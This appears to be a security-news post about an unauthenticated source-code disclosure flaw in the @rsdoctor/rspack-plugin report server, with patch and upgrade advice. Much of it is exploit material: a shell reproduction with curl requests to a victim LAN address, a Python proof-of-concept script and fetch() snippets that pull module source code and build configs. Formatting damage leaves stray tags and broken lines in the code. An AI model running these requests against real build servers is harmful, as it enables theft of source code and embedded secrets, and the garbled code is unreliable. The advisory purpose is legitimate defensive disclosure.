Listen to this Post
The vulnerability exists in @rsdoctor/rspack-plugin.
The default Rsdoctor report HTTP server binds to 0.0.0.0.
Node.js server.listen(port, callback) has no host argument.
This exposes the report server on every network interface.
The server serves POST /api/data/key.
That endpoint has no authentication middleware.
It also enables wildcard CORS unconditionally.
Access-Control-Allow-Origin: is set on responses.
Access-Control-Allow-Credentials: true is also set.
The route is registered with @Router.post.
The key value is taken from req.body.
The key is passed to getStoreData().
There is no allowlist for keys.
Dot-path traversal is supported for nested keys.
The attacker can request key=moduleCodeMap.
moduleCodeMap getter calls _moduleGraph.toCodeData().
toCodeData() returns all module source objects.
Each module exposes source, transformed, and parsedSource.
The serialized result is written to the HTTP response.
The server starts during non-CI builds by default.
disableClientServer defaults to false.
noModuleSource defaults to false.
noAssetsAndModuleSource defaults to false.
noCode defaults to false.
normalizeReportType returns SDK.ToDataType.Normal.
Module source code is stored by default.
A single unauthenticated HTTP POST can exfiltrate source.
configs and errors and envinfo may also be exposed.
The impact is remote information disclosure.
Patch binds to 127.0.0.1 and restricts CORS.
Patch requires a per-server WebSocket token.
Upgrade to @rsdoctor/rspack-plugin@^1.5.16.
DailyCVE Form:
Platform: Rsdoctor Rspack Plugin
Version: 1.5.11
Vulnerability: Unauthenticated information disclosure
Severity: High 7.5
date: Not provided
Prediction: Patch date unknown
What Undercode Say:
Analytics
mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc pnpm init pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/[email protected] mkdir src cat > src/index.js <<'EOF' const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123'; console.log(INTERNAL_API_KEY); EOF cat > rspack.config.js <<'EOF' const { RsdoctorRspackPlugin } = require('@rsdoctor/rspack-plugin'); module.exports = { mode: 'development', entry: './src/index.js', output: { path: <strong>dirname + '/dist', filename: 'bundle.js' }, plugins: [new RsdoctorRspackPlugin()] }; EOF pnpm rspack -c rspack.config.js curl -s "http://<victim-lan-ip>:<port>/api/data/key" \ -H 'Content-Type: application/json' \ --data '{"key":"moduleCodeMap"}' curl -s "http://<victim-lan-ip>:<port>/api/data/key" \ -H 'Content-Type: application/json' \ --data '{"key":"configs"}'
!/usr/bin/env python3
import sys
import json
import urllib.request
import urllib.error
SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123"
REQUEST_TIMEOUT = 15
def exploit(port: int) -> bool:
url = f"http://127.0.0.1:{port}/api/data/key"
payload = json.dumps({"key": "moduleCodeMap"}).encode("utf-8")
req = urllib.request.Request(
url,
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:
body = resp.read().decode("utf-8", errors="replace")
status = resp.status
print(f"[+] HTTP status : {status}")
print(f"[+] Response size: {len(body):,} bytes")
if SECRET_MARKER in body:
print(f"[+] SECRET MARKER FOUND IN RESPONSE: {SECRET_MARKER!r}")
print("[bash] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API")
return True
print("[-] Secret marker NOT found in response")
return False
def probe_configs(port: int) -> None:
url = f"http://127.0.0.1:{port}/api/data/key"
payload = json.dumps({"key": "configs"}).encode("utf-8")
req = urllib.request.Request(
url,
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:
body = resp.read().decode("utf-8", errors="replace")
print(f"[+] Secondary probe (key=configs) status: {resp.status}, size: {len(body):,} bytes")
def main() -> None:
port = int(sys.argv[bash])
print("=" 60)
print("VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak")
print("=" 60)
success = exploit(port)
print()
probe_configs(port)
sys.exit(0 if success else 2)
if __name</strong> == "<strong>main</strong>":
main()
Exploit: (Educational Purposes!)
fetch('http://127.0.0.1:<rsdoctor-port>/api/data/key', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
key: 'moduleCodeMap',
}),
})
.then((res) => res.json())
.then(console.log);
fetch('http://<victim-lan-ip>:<rsdoctor-port>/api/data/key', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
key: 'moduleCodeMap',
}),
})
.then((res) => res.json())
.then(console.log);
Protection: from this CVE
pnpm add -D @rsdoctor/rspack-plugin@^1.5.16
new RsdoctorRspackPlugin();
new RsdoctorRspackPlugin({
server: {
cors: {
origin: 'http://localhost:3000',
credentials: true,
},
},
});
new RsdoctorRspackPlugin({
server: {
cors: true,
},
});
new RsdoctorRspackPlugin({
server: {
cors: {
origin: '',
},
},
});
new RsdoctorRspackPlugin({
disableClientServer: true,
});
Impact:
- Full JavaScript source code of every compiled module (moduleCodeMap)
- Serialized build configuration (configs)
- Build errors (errors)
- Environment information (envinfo)
- Absolute local file paths
- Secrets, API keys, proprietary business logic
- Unauthenticated remote information disclosure
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

